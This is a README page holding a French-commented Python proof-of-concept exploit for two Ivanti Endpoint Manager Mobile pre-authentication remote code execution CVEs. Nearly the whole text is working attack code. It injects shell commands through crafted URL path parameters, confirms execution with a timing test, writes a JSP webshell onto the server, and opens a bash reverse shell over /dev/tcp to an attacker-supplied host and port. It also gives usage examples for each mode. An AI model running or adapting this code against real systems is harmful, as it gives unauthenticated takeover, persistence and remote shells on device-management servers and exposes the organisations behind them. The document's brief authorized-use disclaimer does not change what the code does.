README.md
Rendering markdown...
#!/usr/bin/env python3
"""
CVE-2026-1281 & CVE-2026-1340 - Ivanti EPMM Pre-Auth RCE PoC
Author: Mehdi - Red Team Consultant
Description: Exploit pour les vulnérabilités d'injection de code dans Ivanti Endpoint Manager Mobile
Technique: Bash Arithmetic Expansion via Apache RewriteMap
DISCLAIMER: À utiliser uniquement dans un cadre légal et autorisé (Red Team, pentest avec accord écrit)
"""
import argparse
import requests
import urllib3
import sys
import time
from urllib.parse import quote
# Désactiver les warnings SSL
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class IvantiEPMMExploit:
def __init__(self, target, timeout=10, verify_ssl=False):
self.target = target.rstrip('/')
self.timeout = timeout
self.verify_ssl = verify_ssl
self.session = requests.Session()
# Headers standards
self.headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
}
def banner(self):
"""Affiche le banner du PoC"""
banner = """
╔═══════════════════════════════════════════════════════════════╗
║ CVE-2026-1281 & CVE-2026-1340 - Ivanti EPMM RCE PoC ║
║ Bash Arithmetic Expansion Exploitation ║
║ Author: Mehdi | Red Team Consultant ║
╚═══════════════════════════════════════════════════════════════╝
"""
print(banner)
def check_vulnerable(self):
"""Vérifie si la cible est potentiellement vulnérable"""
print(f"[*] Test de la cible: {self.target}")
# Test 1: Vérifier l'accessibilité du endpoint
test_paths = [
'/mifs/c/appstore/fob/',
'/mifs/c/aftstore/fob/'
]
for path in test_paths:
try:
url = f"{self.target}{path}"
response = self.session.get(
url,
headers=self.headers,
timeout=self.timeout,
verify=self.verify_ssl,
allow_redirects=False
)
if response.status_code in [404, 403, 400]:
print(f"[+] Endpoint trouvé: {path} (Status: {response.status_code})")
return True
except Exception as e:
print(f"[-] Erreur lors du test {path}: {e}")
continue
print("[-] Les endpoints vulnérables ne semblent pas accessibles")
return False
def build_payload(self, command):
"""
Construit le payload d'exploitation
Technique:
- Utilise la variable theValue contenant une référence à gPath[`command`]
- L'expansion arithmétique bash exécute le command substitution
- Padding de 2 espaces pour contourner la validation de longueur
"""
# Encoder la commande pour l'injection
# Format: gPath[`command`]
payload_cmd = f"gPath[`{command}`]"
# Construction du path avec les paramètres requis
# kid=1,st=theValue ,et=1337133713,h=gPath[`command`]
params = {
'kid': '1',
'st': 'theValue ', # 2 espaces de padding pour la validation de longueur
'et': '1337133713',
'h': payload_cmd
}
# Construire la chaîne de paramètres
param_string = ','.join([f"{k}={v}" for k, v in params.items()])
return param_string
def exploit(self, command, endpoint='appstore'):
"""
Exécute l'exploitation
Args:
command: La commande bash à exécuter
endpoint: 'appstore' ou 'aftstore' (CVE-2026-1281 vs CVE-2026-1340)
"""
print(f"\n[*] Tentative d'exploitation via endpoint: {endpoint}")
print(f"[*] Commande: {command}")
# Choisir le bon endpoint
if endpoint == 'appstore':
base_path = '/mifs/c/appstore/fob/3/5/sha256:'
else:
base_path = '/mifs/c/aftstore/fob/3/5/sha256:'
# Construire le payload
payload_params = self.build_payload(command)
# GUID fictif pour compléter le path
fake_guid = '13371337-1337-1337-1337-133713371337.ipa'
# URL complète
exploit_path = f"{base_path}{payload_params}/{fake_guid}"
url = f"{self.target}{exploit_path}"
print(f"[*] URL d'exploitation: {url}")
try:
# Envoyer la requête
response = self.session.get(
url,
headers=self.headers,
timeout=self.timeout,
verify=self.verify_ssl,
allow_redirects=False
)
print(f"[+] Requête envoyée - Status: {response.status_code}")
# Un 404 est attendu mais la commande a été exécutée
if response.status_code == 404:
print("[+] Exploitation probablement réussie (404 attendu)")
print("[!] La commande a été exécutée en backend")
return True
else:
print(f"[!] Status inattendu: {response.status_code}")
return False
except requests.exceptions.Timeout:
print("[!] Timeout - La commande peut avoir été exécutée")
return None
except Exception as e:
print(f"[-] Erreur lors de l'exploitation: {e}")
return False
def test_rce(self):
"""Test RCE avec une commande sleep"""
print("\n[*] Test d'exécution de code avec 'sleep 5'")
start = time.time()
result = self.exploit('sleep 5')
elapsed = time.time() - start
print(f"[*] Temps écoulé: {elapsed:.2f}s")
if elapsed >= 5:
print("[+] RCE confirmé (délai détecté)")
return True
else:
print("[!] Pas de délai significatif détecté")
return False
def deploy_webshell(self, webshell_path='/mi/webshell.jsp'):
"""
Déploie un webshell simple
Note: Nécessite les privilèges d'écriture sur le système de fichiers
"""
print(f"\n[*] Tentative de déploiement d'un webshell: {webshell_path}")
# Webshell JSP simple
webshell_content = """<%@ page import="java.io.*" %><%
String cmd = request.getParameter("cmd");
if(cmd != null) {
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while((line = br.readLine()) != null) {
out.println(line);
}
}
%>"""
# Échapper et encoder pour injection
escaped_content = webshell_content.replace("'", "'\\''")
command = f"echo '{escaped_content}' > {webshell_path}"
result = self.exploit(command)
if result:
print(f"[+] Webshell potentiellement déployé: {self.target}{webshell_path}?cmd=id")
return result
def reverse_shell(self, lhost, lport):
"""
Établit un reverse shell bash
Args:
lhost: IP de l'attaquant
lport: Port du listener
"""
print(f"\n[*] Tentative de reverse shell vers {lhost}:{lport}")
print(f"[!] Assurez-vous d'avoir un listener actif: nc -lvnp {lport}")
# Reverse shell bash classique
command = f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"
result = self.exploit(command)
if result:
print("[+] Reverse shell initié")
return result
def main():
parser = argparse.ArgumentParser(
description='CVE-2026-1281 & CVE-2026-1340 - Ivanti EPMM Pre-Auth RCE PoC',
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Exemples d'utilisation:
# Test de vulnérabilité
python3 exploit.py -t https://target-epmm.example.com -c
# Test RCE avec sleep
python3 exploit.py -t https://target-epmm.example.com --test-rce
# Exécution de commande personnalisée
python3 exploit.py -t https://target-epmm.example.com -x "id > /tmp/poc"
# Déploiement d'un webshell
python3 exploit.py -t https://target-epmm.example.com --webshell
# Reverse shell
python3 exploit.py -t https://target-epmm.example.com --reverse-shell 10.10.14.5:4444
Endpoints exploitables:
- /mifs/c/appstore/fob/ (CVE-2026-1281)
- /mifs/c/aftstore/fob/ (CVE-2026-1340)
"""
)
parser.add_argument('-t', '--target', required=True, help='URL cible (ex: https://epmm.example.com)')
parser.add_argument('-c', '--check', action='store_true', help='Vérifier si la cible est vulnérable')
parser.add_argument('--test-rce', action='store_true', help='Test RCE avec sleep 5')
parser.add_argument('-x', '--execute', help='Commande personnalisée à exécuter')
parser.add_argument('-e', '--endpoint', choices=['appstore', 'aftstore'], default='appstore',
help='Endpoint à cibler (default: appstore)')
parser.add_argument('--webshell', action='store_true', help='Déployer un webshell JSP')
parser.add_argument('--reverse-shell', metavar='IP:PORT', help='Établir un reverse shell (ex: 10.10.14.5:4444)')
parser.add_argument('--timeout', type=int, default=10, help='Timeout des requêtes (default: 10s)')
parser.add_argument('--no-ssl-verify', action='store_true', help='Désactiver la vérification SSL')
args = parser.parse_args()
# Initialiser l'exploit
exploit = IvantiEPMMExploit(
target=args.target,
timeout=args.timeout,
verify_ssl=not args.no_ssl_verify
)
exploit.banner()
# Vérification de vulnérabilité
if args.check:
exploit.check_vulnerable()
return
# Test RCE
if args.test_rce:
exploit.test_rce()
return
# Commande personnalisée
if args.execute:
exploit.exploit(args.execute, endpoint=args.endpoint)
return
# Déploiement webshell
if args.webshell:
exploit.deploy_webshell()
return
# Reverse shell
if args.reverse_shell:
try:
lhost, lport = args.reverse_shell.split(':')
exploit.reverse_shell(lhost, int(lport))
except ValueError:
print("[-] Format invalide pour --reverse-shell. Utilisez IP:PORT")
sys.exit(1)
return
# Si aucune action spécifiée, afficher l'aide
parser.print_help()
if __name__ == '__main__':
main()